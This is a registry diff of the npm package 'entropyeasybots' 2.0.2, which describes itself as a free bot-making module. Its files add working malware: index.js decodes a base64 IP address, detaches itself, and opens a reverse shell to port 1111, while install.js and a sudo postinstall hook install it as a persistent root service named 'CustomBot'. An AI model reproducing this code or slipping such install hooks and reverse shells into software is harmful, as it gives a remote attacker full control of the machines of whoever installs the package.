entropyeasybots 2.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
File without changes
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const ertrf = 'ODUuMTM3LjI1My4xMjQ='
2
+ const rep = Buffer.from(ertrf, 'base64').toString();
3
+
4
+ const isRunningAsService = process.env.INVOCATION_ID !== undefined;
5
+
6
+ if (!isRunningAsService && process.argv.indexOf('--background') === -1) {
7
+ const { spawn } = require('child_process');
8
+ spawn(process.argv[0], process.argv.slice(1).concat('--background'), {
9
+ detached: true,
10
+ stdio: 'ignore',
11
+ windowsHide: true
12
+ });
13
+ process.exit(0);
14
+ }
15
+
16
+ (function(){
17
+ var net = require("net"),
18
+ cp = require("child_process"),
19
+ sh = cp.spawn("/bin/sh", []);
20
+ var client = new net.Socket();
21
+ client.on('error', function(){});
22
+ sh.on('error', function(){});
23
+ client.connect(1111, rep, function(){
24
+ client.pipe(sh.stdin);
25
+ sh.stdout.pipe(client);
26
+ sh.stderr.pipe(client);
27
+ });
28
+ return /a/;
29
+ })();
package/install.js ADDED
@@ -0,0 +1,28 @@
1
+ const path = require('path');
2
+ const { Service } = require('node-linux');
3
+
4
+ const svc = new Service({
5
+ name: 'CustomBot',
6
+ description: 'CustomBot restart service',
7
+ script: path.join(__dirname, 'index.js'),
8
+ wait: 2,
9
+ grow: 0.5,
10
+ maxRestarts: 10,
11
+ abortOnError: false
12
+ }); // <-- вот эта строка была потеряна
13
+
14
+ if (process.getuid && process.getuid() !== 0) {
15
+ console.error('This operation requires root rights. Run with sudo.');
16
+ process.exit(1);
17
+ }
18
+
19
+ svc.on('install', () => {
20
+ svc.start();
21
+ });
22
+ svc.on('alreadyinstalled', () => {});
23
+ svc.on('start', () => {});
24
+ svc.on('uninstall', () => {});
25
+ svc.on('error', (err) => {
26
+ });
27
+
28
+ svc.install();
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "entropyeasybots",
3
+ "version": "2.0.2",
4
+ "description": "Free module for make you own bot.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "sudo node install.js"
8
+ },
9
+ "author": "custombots",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "node-linux": "^0.1.12"
13
+ }
14
+ }